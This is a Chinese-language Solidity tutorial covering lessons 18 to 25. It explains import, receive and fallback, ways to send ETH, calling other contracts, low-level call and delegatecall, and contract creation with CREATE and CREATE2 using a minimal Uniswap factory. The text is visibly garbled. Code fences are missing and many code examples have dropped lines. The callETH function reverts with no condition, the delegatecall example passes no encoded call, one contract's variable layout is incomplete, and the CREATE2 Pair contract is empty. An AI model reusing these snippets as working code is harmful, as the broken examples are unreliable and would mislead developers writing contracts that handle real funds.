`solidity`支持利用`import`关键字导入其他合约中的全局符号（简单理解为外部源代码），让开发更加模块化。一般不具体指定则将导入文件的所有全局符号到当前全局作用域中。

## `import`用法

- 通过源文件相对位置导入，例子：

```
文件结构
├── Import.sol
└── Yeye.sol

// 通过文件相对位置import
import './Yeye.sol';
```

- 通过源文件网址导入网上的合约的全局符号，例子：
```
// 通过网址引用
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol';
```

- 通过`npm`的目录导入，例子：
import '@openzeppelin/contracts/access/Ownable.sol';
```

- 通过指定`全局符号`导入合约特定的全局符号，例子：
import {Yeye} from './Yeye.sol';
```

- 引用(`import`)在代码中的位置为：在声明版本号之后，在其余代码之前。

##

测试导入结果

我们可以用下面这段代码测试是否成功导入了外部源代码：
contract Import {
    // 成功导入Address库
    using Address for address;
    // 声明yeye变量
    Yeye yeye = new Yeye();

    // 测试是否能调用yeye的函数
    function test() external{
        yeye.hip();
    }
}
```

![result](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/18_Import_en/img/18-1.png)

## 总结
这一讲，我们介绍了利用`import`关键字导入外部源代码的方法。通过`import`关键字，可以引用我们写的其他文件中的合约或者函数，也可以直接导入别人写好的代码，非常方便。

---
title: 19. 接收ETH
tags:
  - solidity
  - advanced
  - receive
  - fallback
---

# WTF Solidity极简入门: 19. 接收ETH receive和fallback

-----

`Solidity`支持两种特殊的回调函数，`receive()`和`fallback()`，他们主要在两种情况下被使用：
1. 接收ETH
2. 处理合约中不存在的函数调用（代理合约proxy contract）

注意⚠️：在solidity 0.6.x版本之前，语法上只有 `fallback()` 函数，用来接收用户发送的ETH时调用以及在被调用函数签名没有匹配到时，来调用。
0.6版本之后，solidity才将 `fallback()` 函数拆分成 `receive()` 和 `fallback()` 两个函数。

我们这一讲主要讲接收ETH的情况。

## 接收ETH函数 receive
`receive()`只用于处理接收`ETH`。一个合约最多有一个`receive()`函数，声明方式与一般函数不一样，不需要`function`关键字：`receive() external payable { ...

}`。`receive()`函数不能有任何的参数，不能返回任何值，必须包含`external`和`payable`。

当合约接收ETH的时候，`receive()`会被触发。`receive()`最好不要执行太多的逻辑因为如果别人用`send`和`transfer`方法发送`ETH`的话，`gas`会限制在`2300`，`receive()`太复杂可能会触发`Out of Gas`报错；如果用`call`就可以自定义`gas`执行更复杂的逻辑（这三种发送ETH的方法我们之后会讲到）。

我们可以在`receive()`里发送一个`event`，例如：
    // 定义事件
    event Received(address Sender, uint Value);
    // 接收ETH时释放Received事件
    receive() external payable {
        emit Received(msg.sender, msg.value);
    }
```

有些恶意合约，会在`receive()` 函数（老版本的话，就是 `fallback()` 函数）嵌入恶意消耗`gas`的内容或者使得执行故意失败的代码，导致一些包含退款和转账逻辑的合约不能正常工作，因此写包含退款等逻辑的合约时候，一定要注意这种情况。

## 回退函数 fallback
`fallback()`函数会在调用合约不存在的函数时被触发。可用于接收ETH，也可以用于代理合约`proxy contract`。`fallback()`声明时不需要`function`关键字，必须由`external`修饰，一般也会用`payable`修饰，用于接收ETH:`fallback() external payable { ... }`。

我们定义一个`fallback()`函数，被触发时候会释放`fallbackCalled`事件，并输出`msg.sender`，`msg.value`和`msg.data`:

    event fallbackCalled(address Sender, uint Value, bytes Data);

    // fallback
    fallback() external payable{
        emit fallbackCalled(msg.sender, msg.value, msg.data);
    }
```

##

receive和fallback的区别
`receive`和`fallback`都能够用于接收`ETH`，他们触发的规则如下：
```
触发fallback() 还是 receive()?
           接收ETH
              |
         msg.data是空？
            /  \
          是    否
          /      \
receive()存在?   fallback()
        / \
       是  否
      /     \
receive()   fallback()
```
简单来说，合约接收`ETH`时，`msg.data`为空且存在`receive()`时，会触发`receive()`；`msg.data`不为空或不存在`receive()`时，会触发`fallback()`，此时`fallback()`必须为`payable`。

`receive()`和`payable fallback()`均不存在的时候，向合约**直接**发送`ETH`将会报错（你仍可以通过带有`payable`的函数向合约发送`ETH`）。

## Remix 演示
1. 首先在 Remix 上部署合约 "Fallback.sol"。
2. "VALUE" 栏中填入要发送给合约的金额（单位是 Wei），然后点击 "Transact"。
    ![](img/19-1.jpg)

3. 可以看到交易成功，并且触发了 "receivedCalled" 事件。
    ![](img/19-2.jpg)

4. "VALUE" 栏中填入要发送给合约的金额（单位是 Wei），"CALLDATA" 栏中填入随意编写的`msg.data`，然后点击 "Transact"。
    ![](img/19-3.jpg)
    
5. 可以看到交易成功，并且触发了 "fallbackCalled" 事件。
    ![](img/19-4.jpg)

## 总结
这一讲，我介绍了`Solidity`中的两种特殊函数，`receive()`和`fallback()`，他们主要在两种情况下被使用，他们主要用于处理接收`ETH`和代理合约`proxy contract`。

---
title: 20. 发送ETH
tags:
  - solidity
  - advanced
  - transfer/send/call
---

# WTF Solidity极简入门: 20. 发送ETH

-----
`Solidity`有三种方法向其他合约发送`ETH`，他们是：`transfer()`，`send()`和`call()`，其中`call()`是被鼓励的用法。

## 接收ETH合约
我们先部署一个接收`ETH`合约`ReceiveETH`。`ReceiveETH`合约里有一个事件`Log`，记录收到的`ETH`数量和`gas`剩余。还有两个函数，一个是`receive()`函数，收到`ETH`被触发，并发送`Log`事件；另一个是查询合约`ETH`余额的`getBalance()`函数。
contract ReceiveETH {
    // 收到eth事件，记录amount和gas
    event Log(uint amount, uint gas);
    
    // receive方法，接收eth时被触发
    receive() external payable{
        emit Log(msg.value, gasleft());
    }
    
    // 返回合约ETH余额
    function getBalance() view public returns(uint) {
        return

address(this).balance;
    }
}
```

部署`ReceiveETH`合约后，运行`getBalance()`函数，可以看到当前合约的`ETH`余额为`0`。

![20-1](./img/20-1.png)

## 发送ETH合约
我们将实现三种方法向`ReceiveETH`合约发送`ETH`。首先，先在发送ETH合约`SendETH`中实现`payable`的`构造函数`和`receive()`，让我们能够在部署时和部署后向合约转账。
contract SendETH {
    // 构造函数，payable使得部署的时候可以转eth进去
    constructor() payable{}
    receive() external payable{}
}
```
### transfer
- 用法是`接收方地址.transfer(发送ETH数额)`。
- `transfer()`的`gas`限制是`2300`，足够用于转账，但对方合约的`fallback()`或`receive()`函数不能实现太复杂的逻辑。
- `transfer()`如果转账失败，会自动`revert`（回滚交易）。

代码样例，注意里面的`_to`填`ReceiveETH`合约的地址，`amount`是`ETH`转账金额：
// 用transfer()发送ETH
function transferETH(address payable _to, uint256 amount) external payable{
	_to.transfer(amount);
}
```

部署`SendETH`合约后，对`ReceiveETH`合约发送ETH，此时`amount`为10，`value`为0，`amount`>`value`，转账失败，发生`revert`。

![20-2](./img/20-2.png)

此时`amount`为10，`value`为10，`amount`<=`value`，转账成功。

![20-3](./img/20-3.png)

在`ReceiveETH`合约中，运行`getBalance()`函数，可以看到当前合约的`ETH`余额为`10`。

![20-4](./img/20-4.png)

### send

-

用法是`接收方地址.send(发送ETH数额)`。
- `send()`的`gas`限制是`2300`，足够用于转账，但对方合约的`fallback()`或`receive()`函数不能实现太复杂的逻辑。
- `send()`如果转账失败，不会`revert`。
- `send()`的返回值是`bool`，代表着转账成功或失败，需要额外代码处理一下。

代码样例：
// send()发送ETH
function sendETH(address payable _to, uint256 amount) external payable{
    // 处理下send的返回值，如果失败，revert交易并发送error
    bool success = _to.send(amount);
    if(!success){
    	revert SendFailed();
    }
}
```

对`ReceiveETH`合约发送ETH，此时`amount`为10，`value`为0，`amount`>`value`，转账失败，因为经过处理，所以发生`revert`。

![20-5](./img/20-5.png)

此时`amount`为10，`value`为11，`amount`<=`value`，转账成功。

![20-6](./img/20-6.png)

### call

- 用法是`接收方地址.call{value: 发送ETH数额}("")`。
- `call()`没有`gas`限制，可以支持对方合约`fallback()`或`receive()`函数实现复杂逻辑。
- `call()`如果转账失败，不会`revert`。
- `call()`的返回值是`(bool, data)`，其中`bool`代表着转账成功或失败，需要额外代码处理一下。

代码样例：
// call()发送ETH
function callETH(address payable _to, uint256 amount) external payable{
    // 处理下call的返回值，如果失败，revert交易并发送error
    (bool success,) = _to.call{value: amount}("");
    	revert CallFailed();
   
   }
}
```

![20-7](./img/20-7.png)

![20-8](./img/20-8.png)

运行三种方法，可以看到，他们都可以成功地向`ReceiveETH`合约发送`ETH`。

## 总结
这一讲，我们介绍`solidity`三种发送`ETH`的方法：`transfer`，`send`和`call`。
- `call`没有`gas`限制，最为灵活，是最提倡的方法；
- `transfer`有`2300 gas`限制，但是发送失败会自动`revert`交易，是次优选择；
- `send`有`2300 gas`限制，而且发送失败不会自动`revert`交易，几乎没有人用它。

---
title: 21. 调用其他合约
tags:
  - solidity
  - advanced
  - call contract
---

# WTF Solidity极简入门: 21. 调用其他合约

-----

## 调用已部署合约

开发者写智能合约来调用其他合约，这让以太坊网络上的程序可以复用，从而建立繁荣的生态。很多`web3`项目依赖于调用其他合约，比如收益农场（`yield farming`）。这一讲，我们介绍如何在已知合约代码（或接口）和地址情况下调用目标合约的函数。

## 目标合约
我们先写一个简单的合约`OtherContract`来调用。

contract OtherContract {
    uint256 private _x = 0; // 状态变量_x
    // 收到eth的事件，记录amount和gas
    
        return address(this).balance;
    }

    // 可以调整状态变量_x的函数，并且可以往合约转ETH (payable)
    function setX(uint256 x) external payable{
        _x = x;
        // 如果转入ETH，则释放Log事件
       
       if(msg.value > 0){
            emit Log(msg.value, gasleft());
        }
    }

    // 读取_x
    function getX() external view returns(uint x){
        x = _x;
    }
}
```

这个合约包含一个状态变量`_x`，一个事件`Log`在收到`ETH`时触发，三个函数：
- `getBalance()`: 返回合约`ETH`余额。
- `setX()`: `external payable`函数，可以设置`_x`的值，并向合约发送`ETH`。
- `getX()`: 读取`_x`的值。

## 调用`OtherContract`合约
我们可以利用合约的地址和合约代码（或接口）来创建合约的引用：`_Name(_Address)`，其中`_Name`是合约名，应与合约代码（或接口）中标注的合约名保持一致，`_Address`是合约地址。然后用合约的引用来调用它的函数：`_Name(_Address).f()`，其中`f()`是要调用的函数。

下面我们介绍4个调用合约的例子，在remix中编译合约后，分别部署`OtherContract`和`CallContract`：

![deploy contract0 in remix](./img/21-1.png)

![deploy contract1 in remix](./img/21-2.png)

![deploy contract2 in remix](./img/21-3.png)

### 1. 传入合约地址
我们可以在函数里传入目标合约地址，生成目标合约的引用，然后调用目标函数。以调用`OtherContract`合约的`setX`函数为例，我们在新合约中写一个`callSetX`函数，传入已部署好的`OtherContract`合约地址`_Address`和`setX`的参数`x`：

    function callSetX(address _Address, uint256 x) external{
        OtherContract(_Address).setX(x);
    }
```

复制`OtherContract`合约的地址，填入`callSetX`函数的参数中，成功调用后，调用`OtherContract`合约中的`getX`验证`x`变为123

![call contract1 in

remix](./img/21-4.png)

![call contract2 in remix](./img/21-5.png)

### 2. 传入合约变量
我们可以直接在函数里传入合约的引用，只需要把上面参数的`address`类型改为目标合约名，比如`OtherContract`。下面例子实现了调用目标合约的`getX()`函数。

**注意**该函数参数`OtherContract _Address`底层类型仍然是`address`，生成的`ABI`中、调用`callGetX`时传入的参数都是`address`类型

    function callGetX(OtherContract _Address) external view returns(uint x){
        x = _Address.getX();
    }
```

复制`OtherContract`合约的地址，填入`callGetX`函数的参数中，调用后成功获取`x`的值

![call contract3 in remix](./img/21-6.png)

### 3. 创建合约变量
我们可以创建合约变量，然后通过它来调用目标函数。下面例子，我们给变量`oc`存储了`OtherContract`合约的引用：
    function callGetX2(address _Address) external view returns(uint x){
        OtherContract oc = OtherContract(_Address);
        x = oc.getX();
    }
```

复制`OtherContract`合约的地址，填入`callGetX2`函数的参数中，调用后成功获取`x`的值

![call contract4 in remix](./img/21-7.png)

### 4. 调用合约并发送`ETH`
如果目标合约的函数是`payable`的，那么我们可以通过调用它来给合约转账：`_Name(_Address).f{value: _Value}()`，其中`_Name`是合约名，`_Address`是合约地址，`f`是目标函数名，`_Value`是要转的`ETH`数额（以`wei`为单位）。

`OtherContract`合约的`setX`函数是`payable`的，在下面这个例子中我们通过调用`setX`来往目标合约转账。
   
   function setXTransferETH(address otherContract, uint256 x) payable external{
        OtherContract(otherContract).setX{value: msg.value}(x);
    }
```

复制`OtherContract`合约的地址，填入`setXTransferETH`函数的参数中，并转入10ETH

![call contract5 in remix](./img/21-8.png)

转账后，我们可以通过`Log`事件和`getBalance()`函数观察目标合约`ETH`余额的变化。

![call contract6 in remix](./img/21-9.png)

## 总结
这一讲，我们介绍了如何通过目标合约代码（或接口）和地址来创建合约的引用，从而调用目标合约的函数。

---
title: 22. Call
tags:
  - solidity
  - advanced
  - call
---

# WTF Solidity极简入门: 22. Call

-----

我们曾在[第20讲：发送ETH](https://github.com/AmazingAng/WTFSolidity/tree/main/20_SendETH)那一讲介绍过利用`call`来发送`ETH`，这一讲我们将介绍如何利用它调用合约。

## Call
`call` 是`address`类型的低级成员函数，它用来与其他合约交互。它的返回值为`(bool, data)`，分别对应`call`是否成功以及目标函数的返回值。

- `call`是`solidity`官方推荐的通过触发`fallback`或`receive`函数发送`ETH`的方法。
- 不推荐用`call`来调用另一个合约，因为当你调用不安全合约的函数时，你就把主动权交给了它。推荐的方法仍是声明合约变量后调用函数，见[第21讲：调用其他合约](https://github.com/AmazingAng/WTFSolidity/tree/main/21_CallContract)
-

当我们不知道对方合约的源代码或`ABI`，就没法生成合约变量；这时，我们仍可以通过`call`调用对方合约的函数。

### `call`的使用规则
`call`的使用规则如下：
```
目标合约地址.call(二进制编码);
```
其中`二进制编码`利用结构化编码函数`abi.encodeWithSignature`获得：
```
abi.encodeWithSignature("函数签名", 逗号分隔的具体参数)
```
`函数签名`为`"函数名（逗号分隔的参数类型)"`。例如`abi.encodeWithSignature("f(uint256,address)", _x, _addr)`。

另外`call`在调用合约时可以指定交易发送的`ETH`数额和`gas`：

```
目标合约地址.call{value:发送数额, gas:gas数额}(二进制编码);
```

看起来有点复杂，下面我们举个`call`应用的例子。

### 目标合约
我们先写一个简单的目标合约`OtherContract`并部署，代码与第19讲中基本相同，只是多了`fallback`函数。

    uint256 private _x = 0; // 状态变量x
    
    fallback() external payable{}

    }

        _x = x;
        if(msg.value > 0){
        }
    }

    // 读取x
        x = _x;
    }
}
```

这个合约包含一个状态变量`x`，一个在收到`ETH`时触发的事件`Log`，三个函数：
-

`setX()`: `external payable`函数，可以设置`x`的值，并向合约发送`ETH`。
- `getX()`: 读取`x`的值。

### 利用`call`调用目标合约
**1. Response事件**

我们写一个`Call`合约来调用目标合约函数。首先定义一个`Response`事件，输出`call`返回的`success`和`data`，方便我们观察返回值。

// 定义Response事件，输出call返回的结果success和data
event Response(bool success, bytes data);
```

**2. 调用setX函数**

我们定义`callSetX`函数来调用目标合约的`setX()`，转入`msg.value`数额的`ETH`，并释放`Response`事件输出`success`和`data`：

function callSetX(address payable _addr, uint256 x) public payable {
	// call setX()，同时可以发送ETH
	(bool success, bytes memory data) = _addr.call{value: msg.value}(
		abi.encodeWithSignature("setX(uint256)", x)
	);

	emit Response(success, data); //释放事件
}
```

接下来我们调用`callSetX`把状态变量`_x`改为5，参数为`OtherContract`地址和`5`，由于目标函数`setX()`没有返回值，因此`Response`事件输出的`data`为`0x`，也就是空。

![22-1](./img/22-1.png)

**3. 调用getX函数**

下面我们调用`getX()`函数，它将返回目标合约`_x`的值，类型为`uint256`。我们可以利用`abi.decode`来解码`call`的返回值`data`，并读出数值。

function callGetX(address _addr) external returns(uint256){
	// call getX()
	(bool success, bytes memory data) =

_addr.call(
		abi.encodeWithSignature("getX()")
	);

	return abi.decode(data, (uint256));
}
```
从`Response`事件的输出，我们可以看到`data`为`0x0000000000000000000000000000000000000000000000000000000000000005`。而经过`abi.decode`，最终返回值为`5`。

![22-2](./img/22-2.png)

**4. 调用不存在的函数**

如果我们给`call`输入的函数不存在于目标合约，那么目标合约的`fallback`函数会被触发。

function callNonExist(address _addr) external{
	(bool success, bytes memory data) = _addr.call(
		abi.encodeWithSignature("foo(uint256)")
	);

}
```

上面例子中，我们`call`了不存在的`foo`函数。`call`仍能执行成功，并返回`success`，但其实调用的目标合约`fallback`函数。

![22-3](./img/22-3.png)

## 总结

这一讲，我们介绍了如何用`call`这一低级函数来调用其他合约。`call`不是调用合约的推荐方法，因为不安全。但他能让我们在不知道源代码和`ABI`的情况下调用目标合约，很有用。

---
title: 23. Delegatecall
tags:
  - solidity
  - advanced
  - delegatecall
---

# WTF Solidity极简入门: 23. Delegatecall

-----

##

`delegatecall`
`delegatecall`与`call`类似，是`solidity`中地址类型的低级成员函数。`delegate`中是委托/代表的意思，那么`delegatecall`委托了什么？

当用户`A`通过合约`B`来`call`合约`C`的时候，执行的是合约`C`的函数，`语境`(`Context`，可以理解为包含变量和状态的环境)也是合约`C`的：`msg.sender`是`B`的地址，并且如果函数改变一些状态变量，产生的效果会作用于合约`C`的变量上。

![call的语境](https://images.mirror-media.xyz/publication-images/VgMR533pA8WYtE5Lr65mQ.png?height=698&width=1860)

而当用户`A`通过合约`B`来`delegatecall`合约`C`的时候，执行的是合约`C`的函数，但是`语境`仍是合约`B`的：`msg.sender`是`A`的地址，并且如果函数改变一些状态变量，产生的效果会作用于合约`B`的变量上。

![delegatecall的语境](https://images.mirror-media.xyz/publication-images/JucQiWVixdlmJl6zHjCSI.png?height=702&width=1862)

大家可以这样理解：一个`富商`把它的资产（`状态变量`）都交给一个`VC`代理（`目标合约`的函数）来打理。执行的是`VC`的函数，但是改变的是`富商`的状态。

`delegatecall`语法和`call`类似，也是：
目标合约地址.delegatecall(二进制编码);
```
```

和`call`不一样，`delegatecall`在调用合约时可以指定交易发送的`gas`，但不能指定发送的`ETH`数额

>

**注意**：`delegatecall`有安全隐患，使用时要保证当前合约和目标合约的状态变量存储结构相同，并且目标合约安全，不然会造成资产损失。

## 什么情况下会用到`delegatecall`?
目前`delegatecall`主要有两个应用场景：

1. 代理合约（`Proxy Contract`）：将智能合约的存储合约和逻辑合约分开：代理合约（`Proxy Contract`）存储所有相关的变量，并且保存逻辑合约的地址；所有函数存在逻辑合约（`Logic Contract`）里，通过`delegatecall`执行。当升级时，只需要将代理合约指向新的逻辑合约即可。

2. EIP-2535 Diamonds（钻石）：钻石是一个支持构建可在生产中扩展的模块化智能合约系统的标准。钻石是具有多个实施合同的代理合同。 更多信息请查看：[钻石标准简介](https://eip2535diamonds.substack.com/p/introduction-to-the-diamond-standard)。

## `delegatecall`例子
调用结构：你（`A`）通过合约`B`调用目标合约`C`。
### 被调用的合约C
我们先写一个简单的目标合约`C`：有两个`public`变量：`num`和`sender`，分别是`uint256`和`address`类型；有一个函数，可以将`num`设定为传入的`_num`，并且将`sender`设为`msg.sender`。
// 被调用的合约C
    uint public num;
    address public sender;

    function setVars(uint _num) public payable {
        num = _num;
        sender = msg.sender;
    }
}
```
### 发起调用的合约B
首先，合约`B`必须和目标合约`C`的变量存储布局必须相同，两个变量，并且顺序为`num`和`sender`
contract B {
    address public

sender;
```

接下来，我们分别用`call`和`delegatecall`来调用合约`C`的`setVars`函数，更好的理解它们的区别。

`callSetVars`函数通过`call`来调用`setVars`。它有两个参数`_addr`和`_num`，分别对应合约`C`的地址和`setVars`的参数。
    // 通过call来调用C的setVars()函数，将改变合约C里的状态变量
    function callSetVars(address _addr, uint _num) external payable{
        // call setVars()
        (bool success, bytes memory data) = _addr.call(
            abi.encodeWithSignature("setVars(uint256)", _num)
        );
    }
```

而`delegatecallSetVars`函数通过`delegatecall`来调用`setVars`。与上面的`callSetVars`函数相同，有两个参数`_addr`和`_num`，分别对应合约`C`的地址和`setVars`的参数。

    // 通过delegatecall来调用C的setVars()函数，将改变合约B里的状态变量
    function delegatecallSetVars(address _addr, uint _num) external payable{
        // delegatecall setVars()
        (bool success, bytes memory data) = _addr.delegatecall(
        );
    }
}
```

### 在remix上验证
1. 首先，我们把合约`B`和`C`都部署好

![deploy.png](./img/23-1.png)

2. 部署之后，查看`C`合约状态变量的初始值，`B`合约的状态变量也是一样。

![initialstate.png](./img/23-2.png)

3. 此时，调用合约`B`中的`callSetVars`，传入参数为合约`C`地址和`10`

![call.png](./img/23-3.png)

4.

运行后，合约`C`中的状态变量将被修改：`num`被改为`10`，`sender`变为合约`B`的地址

![resultcall.png](./img/23-4.png)

5. 接下来，我们调用合约`B`中的`delegatecallSetVars`，传入参数为合约`C`地址和`100`

![delegatecall.png](./img/23-5.png)

6. 由于是`delegatecall`，语境为合约`B`。在运行后，合约`B`中的状态变量将被修改：`num`被改为`100`，`sender`变为你的钱包地址。合约`C`中的状态变量不会被修改。

![resultdelegatecall.png](./img/23-6.png)

## 总结
这一讲我们介绍了`solidity`中的另一个低级函数`delegatecall`。与`call`类似，它可以用来调用其他合约；不同点在于运行的语境，`B call C`，语境为`C`；而`B delegatecall C`，语境为`B`。目前`delegatecall`最大的应用是代理合约和`EIP-2535 Diamonds`（钻石）。

---
title: 24. 在合约中创建新合约
tags:
  - solidity
  - advanced
  - create contract
---

# WTF Solidity极简入门: 24. 在合约中创建新合约

-----

在以太坊链上，用户（外部账户，`EOA`）可以创建智能合约，智能合约同样也可以创建新的智能合约。去中心化交易所`uniswap`就是利用工厂合约（`Factory`）创建了无数个币对合约（`Pair`）。这一讲，我会用简化版的`uniswap`讲如何通过合约创建合约。

## `create`和`create2`
有两种方法可以在合约中创建新合约，`create`和`create2`，这里我们讲`create`，下一讲会介绍`create2`。

`create`的用法很简单，就是`new`一个合约，并传入新合约构造函数所需的参数：
Contract x = new Contract{value: _value}(params)
```

其中`Contract`是要创建的合约名，`x`是合约对象（地址），如果构造函数是`payable`，可以创建时转入`_value`数量的`ETH`，`params`是新合约构造函数的参数。

## 极简Uniswap
`Uniswap

V2`[核心合约](https://github.com/Uniswap/v2-core/tree/master/contracts)中包含两个合约：

1. UniswapV2Pair: 币对合约，用于管理币对地址、流动性、买卖。
2. UniswapV2Factory: 工厂合约，用于创建新的币对，并管理币对地址。

下面我们用`create`方法实现一个极简版的`Uniswap`：`Pair`币对合约负责管理币对地址，`PairFactory`工厂合约用于创建新的币对，并管理币对地址。

###  `Pair`合约

contract Pair{
    address public factory; // 工厂合约地址
    address public token0; // 代币1
    address public token1; // 代币2

    constructor() payable {
        factory = msg.sender;
    }

    // called once by the factory at time of deployment
    function initialize(address _token0, address _token1) external {
        require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
        token0 = _token0;
        token1 = _token1;
    }
}
```
`Pair`合约很简单，包含3个状态变量：`factory`，`token0`和`token1`。

构造函数`constructor`在部署时将`factory`赋值为工厂合约地址。`initialize`函数会在`Pair`合约创建的时候被工厂合约调用一次，将`token0`和`token1`更新为币对中两种代币的地址。

> **提问**：为什么`uniswap`不在`constructor`中将`token0`和`token1`地址更新好？
>
> **答**：因为`uniswap`使用的是`create2`创建合约，限制构造函数不能有参数。当使用`create`时，`Pair`合约允许构造函数有参数，可以在`constructor`中将`token0`和`token1`地址更新好。

### `PairFactory`
contract

PairFactory{
    mapping(address => mapping(address => address)) public getPair; // 通过两个代币地址查Pair地址
    address[] public allPairs; // 保存所有Pair地址

    function createPair(address tokenA, address tokenB) external returns (address pairAddr) {
        // 创建新合约
        Pair pair = new Pair(); 
        // 调用新合约的initialize方法
        pair.initialize(tokenA, tokenB);
        // 更新地址map
        pairAddr = address(pair);
        allPairs.push(pairAddr);
        getPair[tokenA][tokenB] = pairAddr;
        getPair[tokenB][tokenA] = pairAddr;
    }
}
```
工厂合约（`PairFactory`）有两个状态变量`getPair`是两个代币地址到币对地址的`map`，方便根据代币找到币对地址；`allPairs`是币对地址的数组，存储了所有代币地址。

`PairFactory`合约只有一个`createPair`函数，根据输入的两个代币地址`tokenA`和`tokenB`来创建新的`Pair`合约。其中
    Pair pair = new Pair(); 
```
就是创建合约的代码，非常简单。大家可以部署好`PairFactory`合约，然后用下面两个地址作为参数调用`createPair`，看看创建的币对地址是什么：
```
WBNB地址: 0x2c44b726ADF1963cA47Af88B284C06f30380fC78
BSC链上的PEOPLE地址:
0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c
```

###

在remix上验证

1.使用`WBNB`和`PEOPLE`的地址作为参数调用`createPair`,得到`Pair`合约地址：0xD3e2008b4Da2cD6DEAF73471590fF30C86778A48

![](./img/24-1.png)

2.查看`Pair`合约变量

![](./img/24-2.png)

3.Debug查看`create`操作码

![](./img/24-3.png)

## 总结
这一讲，我们用极简`Uniswap`的例子介绍了如何使用`create`方法再合约里创建合约，下一讲我们将介绍如何使用`create2`方法来实现极简`Uniswap`。

---
title: 25. Create2
tags:
  - solidity
  - advanced
  - create2
---

# WTF Solidity极简入门: 25. Create2

欢迎加入WTF科学家社群，内有加微信群方法：[链接](https://discord.gg/5akcruXrsk)

-----

## CREATE2
`CREATE2` 操作码使我们在智能合约部署在以太坊网络之前就能预测合约的地址。`Uniswap`创建`Pair`合约用的就是`CREATE2`而不是`CREATE`。这一讲，我将介绍`CREATE2`的用法

### CREATE如何计算地址
智能合约可以由其他合约和普通账户利用`CREATE`操作码创建。 在这两种情况下，新合约的地址都以相同的方式计算：创建者的地址(通常为部署的钱包地址或者合约地址)和`nonce`(该地址发送交易的总数,对于合约账户是创建的合约总数,每创建一个合约nonce+1))的哈希。
```
新地址 = hash(创建者地址, nonce)
```
创建者地址不会变，但`nonce`可能会随时间而改变，因此用`CREATE`创建的合约地址不好预测。

### CREATE2如何计算地址
`CREATE2`的目的是为了让合约地址独立于未来的事件。不管未来区块链上发生了什么，你都可以把合约部署在事先计算好的地址上。用`CREATE2`创建的合约地址由4个部分决定：
- `0xFF`：一个常数，避免和`CREATE`冲突
- 创建者地址
- `salt`（盐）：一个创建者给定的数值
- 待部署合约的字节码（`bytecode`）

```
新地址 = hash("0xFF",创建者地址, salt,

bytecode)
```
`CREATE2` 确保，如果创建者使用 `CREATE2` 和提供的 `salt` 部署给定的合约`bytecode`，它将存储在 `新地址` 中。

## 如何使用`CREATE2`
`CREATE2`的用法和之前讲的`Create`类似，同样是`new`一个合约，并传入新合约构造函数所需的参数，只不过要多传一个`salt`参数：
```
Contract x = new Contract{salt: _salt, value: _value}(params)
```
其中`Contract`是要创建的合约名，`x`是合约对象（地址），`_salt`是指定的盐；如果构造函数是`payable`，可以创建时转入`_value`数量的`ETH`，`params`是新合约构造函数的参数。

## 极简Uniswap2

跟[上一讲](https://mirror.xyz/ninjak.eth/kojopp2CgDK3ehHxXc_2fkZe87uM0O5OmsEU6y83eJs)类似，我们用`Create2`来实现极简`Uniswap`。

### `Pair`

    }

    }
}
```

###

`PairFactory2`
contract PairFactory2{
        mapping(address => mapping(address => address)) public getPair; // 通过两个代币地址查Pair地址
        address[] public allPairs; // 保存所有Pair地址

        function createPair2(address tokenA, address tokenB) external returns (address pairAddr) {
            require(tokenA != tokenB, 'IDENTICAL_ADDRESSES'); //避免tokenA和tokenB相同产生的冲突
            // 用tokenA和tokenB地址计算salt
            (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //将tokenA和tokenB按大小排序
            bytes32 salt = keccak256(abi.encodePacked(token0, token1));
            // 用create2部署新合约
            Pair pair = new Pair{salt: salt}(); 
            // 调用新合约的initialize方法
            pair.initialize(tokenA, tokenB);
            // 更新地址map
            pairAddr = address(pair);
            allPairs.push(pairAddr);
            getPair[tokenA][tokenB] = pairAddr;
            getPair[tokenB][tokenA] = pairAddr;
        }
```
工厂合约（`PairFactory2`）有两个状态变量`getPair`是两个代币地址到币对地址的`map`，方便根据代币找到币对地址；`allPairs`是币对地址的数组，存储了所有币对地址。

`PairFactory2`合约只有一个`createPair2`函数，使用`CREATE2`根据输入的两个代币地址`tokenA`和`tokenB`来创建新的`Pair`合约。其中
    Pair pair = new Pair{salt: salt}();

```
就是利用`CREATE2`创建合约的代码，非常简单，而`salt`为`token1`和`token2`的`hash`：
    bytes32 salt = keccak256(abi.encodePacked(token0, token1));
```

### 事先计算`Pair`地址
        // 提前计算pair合约地址
        function calculateAddr(address tokenA, address tokenB) public view returns(address predictedAddress){
            // 计算用tokenA和tokenB地址计算salt
            // 计算合约地址方法 hash()
            predictedAddress = address(uint160(uint(keccak256(abi.encodePacked(
                bytes1(0xff),
                address(this),
                salt,
                keccak256(type(Pair).creationCode)
            )))));
        }
```
我们写了一个`calculateAddr`函数来事先计算`tokenA`和`tokenB`将会生成的`Pair`地址。通过它，我们可以验证我们事先计算的地址和实际地址是否相同。

大家可以部署好`PairFactory2`合约，然后用下面两个地址作为参数调用`createPair2`，看看创建的币对地址是什么，是否与事先计算的地址一样：
```
```

#### 如果部署合约构造函数中存在参数

例如当create2合约时：
> Pair

pair = new Pair{salt: salt}(address(this)); 

计算时，需要将参数和bytecode一起进行打包：
> ~~keccak256(type(Pair).creationCode)~~
> => keccak256(abi.encodePacked(type(Pair).creationCode, abi.encode(address(this))))
predictedAddress = address(uint160(uint(keccak256(abi.encodePacked(
                salt,
                keccak256(abi.encodePacked(type(Pair).creationCode, abi.encode(address(this))))
            )))));
```

1. 首先用`WBNB`和`PEOPLE`的地址哈希作为`salt`来计算出`Pair`合约的地址
2. 调用`PairFactory2.createPair2`传入参数为`WBNB`和`PEOPLE`的地址，获取出创建的`pair`合约地址
3. 对比合约地址
![create2_remix_test.png](./img/25-1.png)

## create2的实际应用场景
1. 交易所为新用户预留创建钱包合约地址。

2. 由 `CREATE2` 驱动的 `factory` 合约，在`uniswapV2`中交易对的创建是在 `Factory`中调用`create2`完成。这样做的好处是: 它可以得到一个确定的`pair`地址, 使得 `Router`中就可以通过 `(tokenA, tokenB)` 计算出`pair`地址, 不再需要执行一次 `Factory.getPair(tokenA, tokenB)` 的跨合约调用。

## 总结

这一讲，我们介绍了`CREATE2`操作码的原理，使用方法，并用它完成了极简版的`Uniswap`并提前计算币对合约地址。`CREATE2`让我们可以在部署合约前确定它的合约地址，这也是
一些`layer2`项目的基础。

---
title: 26. 删除合约
tags:
  - solidity
  - advanced
  - selfdestruct
  - delete contract
